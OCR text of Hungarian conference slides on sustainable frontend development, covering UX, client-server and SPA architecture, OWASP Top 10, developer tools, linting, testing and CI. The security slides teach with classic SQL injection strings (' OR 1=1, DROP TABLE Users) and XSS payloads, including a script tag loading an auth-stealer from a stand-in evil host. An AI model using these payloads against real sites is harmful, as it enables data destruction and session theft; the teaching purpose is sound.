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Rolunk

* One Identity

* Cybersecurity

* PAM piac - Privileged Access Management

* Magyar részleg foként Networking érdeklodéssel, logolassal
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« Tamas Csaba
 Kaloczi David
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* Vazsonyi Daniel
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Agenda - Fenntarthato Frontend Fejlesztés

* Miaz a UX?

* Kliens-Szerver és SPA
 Sebezhetoségek

* Fejlesztoi eszkozok

* Fenntarthato fejlesztés

* Hasznos dolgok
* (valos példa minderre)
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UX

A tervezés fontossaga
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UX - Ul felatadok

* A jo felhasznaldi élmény része a kiszamithatosag,
megbizhatdsag

« Egységes design, kiszamithatd miikodés

Az atgondolt funkcidk kevésbé valtoznak fejlesztés
soran

» Kevesebb ”mi torténik, ha...”
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UX - Design Language

 Szabalyrendszer, ami a vizualis kommunikaciot definialja
* Szinek, arnyékok, formak valasztasa amivel eszkoztarat biztositunk
magunknak

« Komponensek, molekulak tervezése, ami az elemi interakciokért
felelnek

« Mintazatok, amik gyakran eloforduld, hasonlo szerkezetekre adnak

magyarazatot
N
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Type

Title 1-44/56

Title 2 - 32/36

Title & - 24/28
Large - 19/24

Regular - 17/22

Small - 14/18

MICRO 1-8/8
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Al1ly Color

Rausch
#FFS5AS5F
3.05:1

Ally Babu
#00A699
3.03:1

Ally Arches
#FC642D
3.0:1

Ally Hof
#484848
9141

Ally Foggy
#767676
4541
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8 - tiny

16 - small



15:09 94 a T @m)
UX javitasok '
£ Back
Jobb UX érdekében... 6.35.0 2w ago

This version contains bug fixes, new
functionalities, and various UX improvements.

Happy shopping!

6.34.1 1mo ago
This version contains bug fixes, new
functionalities, and various UX improvements.
Happy shopping!

6.34.0 1mo ago

In this version, we have fixed bugs and added
new functionalities and various UX
improvements.
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A kliens-szerver architektura
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Intro - web

* Egyolyan serviceamilehetoveé teszi az
adatmegosztast kilonbdzo eszkozok

kOzOtt
e Az adat lehet

@ 0 E

® €

Users I .
Things
6

O v:e
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Intro - kliens-szerver
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Kliens

* Valamilyen eszkdz - client machine - vagy program - client program
« Eszkoz - appliance - és egy mod arra, hogy reguesteketkiildjink és fogadjunk

;"] iy
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Szerver

« Aszerveregy program, nem maga a fizikai gép
* Nagyteljesitményl gép > szerver > valamilyen programotfuttatnak

 Valamilyen funkcionalitast nyujtanak es kiszolgalnak mas programokat - a
klienseket

* Tobb klienst - parhuzamosan
* Egyszervergep futtathat tobb szerver programot - virtualis szerverek

OXOress
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* Hosztolhat web appokat, tarolhat adatot, egyeb fajlokat, programokat, etc.

* Szamos kerest teljesit egyszerre - tobb ezer

Request
* Mukodesi elve: a request - response cycle via HTTP(S) @4 ;

Response
(lient

» Akliens-szerver csak egy lehetseges opcio - centralizalt

* Serverless
* Peer-to-peer - decentralizalt

(ONE IDENTITY
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Single Page Applications
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SPA vs Traditional

« JavaScript elonyeire epit
* Kisebb szerver terheles
* Kenyelmesebb es gyorsabb hasznalhatosag

« Kod ujrahasznalhatosag — komponens alapu fejlesztes

* Facebook, Twitter, Gmail
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Initial load

Traditional

ssssss

Single Page
Application



Data change

Traditional

000000

Single Page
Application



Elonyok es hatranyok

» Gyorsabb fejlesztes - szeparalt frontend es backend
» Backend /API/ ujratelhasznalas — mobil verzio
« Jobb UX

* Rossz SEO
* Sebezhetosegek "gyakoribbak"
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Sebezhetoségek

A legjobb védekezés a tamadas
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OWASP TOP 10

Open Web Application Security Project
https://owasp.org/www-project-top-ten/

2017 2021

AD1:2017-Injection
A02:2017-Broken Authentication
A03:2017-Sensitive Data Exposure
A04:2017-XML External Entities (XXE)
A05:2017-Broken Access Control
A06:2017-Security Misconfiguration
A07:2017-Cross-Site Scripting (XSS)

A01:2021-Broken Access Control
A02:2021-Cryptographic Failures

> A03:2021-Injection
(New) A04:2021-Insecure Design

A05:2021-Security Misconfiguration
A06:2021-Vulnerable and Outdated Components
A07:2021-Identification and Authentication Failures

A08:2017-Insecure Deserialization / (New! A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities /AOQ:ZOZl-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

(GNE IDENTITY
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https://owasp.org/www-project-top-ten/

SQL injection

* Egyik legnépszerlibb webes hackelési technika

« Aweboldal beviteli mezojén keresztiil, rosszindulatu kod
elhelyezése SQL utasitasokban

« Az SQL tamadas céljai
 Szenzitiv adatokhoz vald hozzaférés
 Rendszer hiba eloidézése amit mas tamadasokhoz segitenek hozza
e Rendszer/adatbazis tonkretétele

(ONE IDENTITY

by Quest Kérdések: sli.do — 435 881

23



Altalanos SQL injection-befecskendezés

1. Bejelentkezési felllet 2. Szerver oldali feldolgozas
Hsemame: John Doe/myPass
‘John Doe ‘ >
Password: < "
|myPass ‘ 00

SELECT * FROM Users WHERE username = '<username>' AND password = '<password>'
JehnbBee 'OR 1=1; -- SELECT * FROM Users WHERE username =" OR 1=1; --<username>' AND password = '<password>'

'* DROP TABLE Users; -- SELECT * FROM Users WHERE username =""; DROP TABLE Users; --<username>'
AND password = '<password>'

(ONE IDENTITY
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Cross-Site Scripting (XSS) Attack

 Kihasznalja a szervert az odalatogatok megtamadasara
« Atamadas célpontja nem a szerver, hanem a felhasznalok
e [tt a tamadas lehet elmentett/allando6 vagy ideiglenes
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Atmeneti XSS tamadas

(GNE IDENTITY

Kérdések: sli.do — 435 881



®© ® ¥ Bob'ssite X + [~
C http://bobssite.org/search?q=cicak * &

cicak Keresés Tamadé ﬂ

A keresett kifejezés (cicak) egyetlen
dokumentumban sem talalhato meg.
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® & Bob'ssite x + o
c http://bobssite.org/search?q=<script>alert('xss');</script> * a
<script>alert('xss' Anembedded page at new-tab-page says Tamado ﬂ

XSS

A keresett kifejezés () egyetlen
dokumentumban sem talalhato meg.
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o0 T W W K K & @ M - B Moweto.

. Bob's site <bob@bobsite.org> £ Inbox - Exchand

Uj keresési funkcid, probalja ki most!

Kedves Alice!

Uj funkcié elérhetd a honlapomon, mostantdl kénnyebben és
gyorsabban kereshet a tartalmak kozott!

Prébald ki most!

Udvozlettel:

Bob
Bob's site
vezérigazgatdja
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http://probaldkimost
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® £ Bob'ssite x +

C  ...<script src="http://mallorysevilsite.com/authstealer.js"></script>

<script src="http://mallorysevilsite.com/authst... Keresés

&

A keresett kifejezés () egyetlen
dokumentumban sem talalhato meg.

w oA
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Elmentett/allando
XSS tamadas
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" JON ) £ Bob's site x + (v

C http://bobssite.org/ * a

Bob's blog Tamado (&

Kurtafarka kenguru (Quokka)

Korabban Délnyugat-Ausztralia mocsaras teriiletein
nagyon elterjedt volt. Ma elsésorban a nyugati partoknal
fekvG Rottnest-szigeten és a Bald-szigeten él. Amikor
holland hajésok 1869-ben a nyugat-ausztraliai partoknal
levé szigeten felfedezték, "patkanyféle" allatnak irtdk le, =
és a szigetet patkanyszigetnek vagyis Rottnestnek :
nevezték el.

Kommentek
Még nincsenek kommentek

De aranyos! <script src="http://mallorysevilsite.com/authstealer.js"> -

Kérdések: sli.do — 435 881
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[ JON ) & Bob'ssite x +
C http://bobssite.org/

Bob's blog

Kurtafarku kenguru (Quokka)

Korabban Délnyugat-Ausztralia mocsaras teriiletein
nagyon elterjedt volt. Ma elsésorban a nyugati partoknal
fekvG Rottnest-szigeten és a Bald-szigeten él. Amikor
holland hajésok 1869-ben a nyugat-ausztraliai partoknal
levé szigeten felfedezték, "patkanyféle" allatnak irtdk le, =
és a szigetet patkanyszigetnek vagyis Rottnestnek !
nevezték el.

Kommentek

® Tamado
De aranyos! <script src="http://mallorysevilsite.com/authstealer.js">
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Megelozés

* Legjobb védekezés a tdmadas

« Automatikus SQL Injection és adatbazis feltérképezo eszkoz
https://sglmap.org/

* Minden technolégia/nyelv mas-mas sebezhetoséggel rendelkezik

« OWASP Puska és legjobb megoldasok forraskodja
https://github.com/OWASP/CheatSheetSeries/
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https://sqlmap.org/
http://Sehttps:/github.com/OWASP/CheatSheetSeries/

Fejlesztoi eszkozok
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Legjobb editorok a webfejlesztéshez

'r |

) Why Microsoft Word is the best IDE
for programming

oma lech @
"
| J 3 4 f
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Thousands of text editors

l £ rom
Brackets

Sublime Text

o @
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VSCode vs Webstorm
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Postman and and Hoppscotch

“(Z ) POSTMAN
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Wallaby
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Browsers
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Fenntarthato Fejlesztés

Clean code, lint, testing, CI/CD
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Clean code

* Atiszta kod egy olyan fejlesztd szamara is
olvashatd, tovabbfejleszthetd, aki nem az Clean Code

A Handbook of Agile Software Craftsmanship

eredeti szerzo -
* Ertelmes elnevezések vannak benne (angolul) ‘
* Alogikaja egyszerd —_—
 Egy dolog elvégzéséhez egy mddot biztosit.

« Minimalis fliggdségei vannak
e Tovabbi kulcsszavak: SOLID, DRY,

(ONE IDENTITY

by Quest



Lint

* Egy statikus kddelemzo eszkoz

* Segit kiszlirni a programozasi hibakat
 Sok esetben ki is tudja javitani (--fix)

* Legelterjedtebb linter: eslint

* Lint mellett a kodformazas is fontos:
« Egységes kinézet segiti az olvashatosagot
 Beépiil a legtobb editor-ba/ide-be
* Prettier a leginkabb elterjedt

(ONE IDENTITY
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Testing

* Atesztelés egy rendszer vagy program
kontrollalt korilmények melletti
futtatasa, és az eredmények
kiértékelése

2 UNIT TESTS,

e TOobbféle tesztelési mehanizmust
kulonboztetunk meg;:

4
* Unit
- Integration O INTEGRATION TESTS
* End to end (e2e)
 Visual
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Cl (Continuous Integration)

A kdd bekertiilésének (integralasanak) ADDING C1/CD T0 PROJECTS

automatizalasat fedi le. A A 3
 Kezeli a tesztek, lintek es egyéb fontos \ - - ¥

tool-ok automatikus futtatasat valtozas | 4

eseteén.

* Nagyban segiti a csapatmunkat

e [smertebb rendszerek:
« Jenkins, travis, CircleCl,

(ONE IDENTITY
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Tools

THE TWO STATES OF

* License checker

 Security checker

* Copyright checker

* Dependency health checker
* Performance checker

* Ally checker

e SEO checker | HAVE NO IDEA
WHAT I'M DOING.
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Hasznos linkek

https://veszprem.dev/fenntarthato-frontend
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